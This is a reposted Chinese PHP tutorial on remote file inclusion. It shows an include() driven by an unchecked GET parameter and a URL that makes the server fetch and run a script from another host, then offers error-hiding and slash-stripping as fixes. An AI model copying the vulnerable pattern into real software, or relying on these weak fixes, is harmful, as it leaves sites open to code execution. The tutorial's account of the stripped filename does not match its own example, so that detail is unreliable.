中文字幕日韩一区二区_国产一区二区av_国产毛片av_久久久久国产一区_色婷婷电影_国产一区二区精品

PHP 網(wǎng)絡(luò)開(kāi)發(fā)詳解之遠(yuǎn)程文件包含漏洞

以下代碼(Code)實(shí)現(xiàn)了根據(jù)瀏覽器地址欄參數(shù)的文件名稱包含不同文件的功能。
復(fù)制代碼 代碼如下:
<?php
$file_name = $_GET["filename"]; //獲得當(dāng)前文件名
include("$file_name "); //包含文件
//一些其他操作
?>

這時(shí),通過(guò)在地址欄上指定不同的文件名就可以實(shí)現(xiàn)包含不同文件并執(zhí)行的功能。例如,通過(guò)在瀏覽器上訪問(wèn)http://localhost/test.php?filename=myinc.php就可以在代碼(Code)中包含并執(zhí)行myinc.php文件。
由于上面的代碼(Code)沒(méi)有進(jìn)行任何錯(cuò)誤處理,在瀏覽器上不加參數(shù)運(yùn)行,所以將得到以下運(yùn)行結(jié)果。
Warning: include(.php) [function.include]: failed to open stream: No such file or directory in C:/Program Files/xampp/htdocs/Bugs/test6.php on line 3
Warning: include() [function.include]: Failed opening '.php' for inclusion (include_path='.;C:/Program Files/xampp/php/pear/') in C:/Program Files/xampp/htdocs/Bugs/test6.php on line 3
訪問(wèn)者通過(guò)讀取這段錯(cuò)誤信息,可以得知當(dāng)前的操作是一個(gè)文件包含操作。這時(shí),可以在自己的服務(wù)器上放置一個(gè)相應(yīng)的腳本代碼。需要注意的是php在獲取遠(yuǎn)程文件時(shí)獲得的是遠(yuǎn)程服務(wù)器的最終輸出結(jié)果,而不是文件本身。該腳本代碼位于192.168.0.1服務(wù)器上,文件名為hello.txt,腳本代碼(Code)如下所示。
復(fù)制代碼 代碼如下:
<?php
echo "hello world!";
?>

這時(shí),通過(guò)在瀏覽器中訪問(wèn)http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以運(yùn)行hello.txt中的腳本了。
為了解決這個(gè)問(wèn)題,一種方式是完善代碼的錯(cuò)誤信息,使訪問(wèn)者無(wú)法知道當(dāng)前腳本正在包含參數(shù)中指定的文件。修改后的代碼(Code)如下所示。
復(fù)制代碼 代碼如下:
<?php
$file_name = $_GET["filename"]; //獲得當(dāng)前文件名
if(!@include("$file_name.php")) //包含文件
{
die("頁(yè)面在瀏覽過(guò)程中出現(xiàn)錯(cuò)誤");
}
//一些其他操作
?>

修改后,如果在被包含的文件無(wú)法找到時(shí)將出現(xiàn)“頁(yè)面在瀏覽過(guò)程中出現(xiàn)錯(cuò)誤”的錯(cuò)誤信息,訪問(wèn)者將無(wú)法獲得當(dāng)前頁(yè)面的具體操作信息。
第二種方式可以更加有效地防止遠(yuǎn)程文件包含攻擊。方式是替換地址欄參數(shù)中的斜線“/”。這樣,在地址欄參數(shù)中輸入遠(yuǎn)程文件地址時(shí),代碼將無(wú)法正確地獲得參數(shù)。修改后的代碼(Code)如下所示。
復(fù)制代碼 代碼如下:
<?php
$file_name = str_replace('/', '', $_GET["filename"]); //獲得當(dāng)前文件名
if(!@include("$file_name.php")) //包含文件
{
die("頁(yè)面在瀏覽過(guò)程中出現(xiàn)錯(cuò)誤");
}
//一些其他操作
?>

這樣,在瀏覽器中訪問(wèn)http://localhost/test.php?filename=http://192.168.0.1/hello.txt 時(shí),實(shí)際上php代碼(Code)獲得的包含文件名稱是http:192.168.0.1bugstest6_test。頁(yè)面將不會(huì)包含遠(yuǎn)程文件,并顯示相應(yīng)的錯(cuò)誤信息。

php技術(shù)PHP 網(wǎng)絡(luò)開(kāi)發(fā)詳解之遠(yuǎn)程文件包含漏洞,轉(zhuǎn)載需保留來(lái)源!

鄭重聲明:本文版權(quán)歸原作者所有,轉(zhuǎn)載文章僅為傳播更多信息之目的,如作者信息標(biāo)記有誤,請(qǐng)第一時(shí)間聯(lián)系我們修改或刪除,多謝。

主站蜘蛛池模板: 日韩一区二区不卡 | 欧美激情综合 | 99热这里只有精品8 激情毛片 | 国产一伦一伦一伦 | 九九色综合 | 国产剧情一区二区三区 | 日韩在线观看 | 九色 在线| 国产激情一区二区三区 | 99re在线免费视频 | 天啪 | 日韩精品一区二 | 亚洲一区二区三区视频 | 亚洲欧美日韩国产 | 久久精品国产99国产精品亚洲 | 亚洲精品一区二区三区在线 | 日韩一区中文字幕 | 国产精品美女久久久久久免费 | 亚洲成人av| 国产免费一区二区三区免费视频 | 欧美一级片黄色 | 国产一区在线免费观看视频 | 在线高清免费观看视频 | 欧美在线一区二区三区 | 视频第一区 | 亚洲 精品 综合 精品 自拍 | 一区二区三区四区不卡视频 | 天堂中文在线观看 | 国产精品一区二区三区四区 | 国产成人高清成人av片在线看 | 免费观看www7722午夜电影 | 黄色毛片免费看 | 视频1区2区 | 亚洲有码转帖 | 亚洲精品无 | 欧美精品成人 | 日韩三级免费网站 | 久久国 | 人人干人人干人人 | 97国产在线视频 | 精品1区|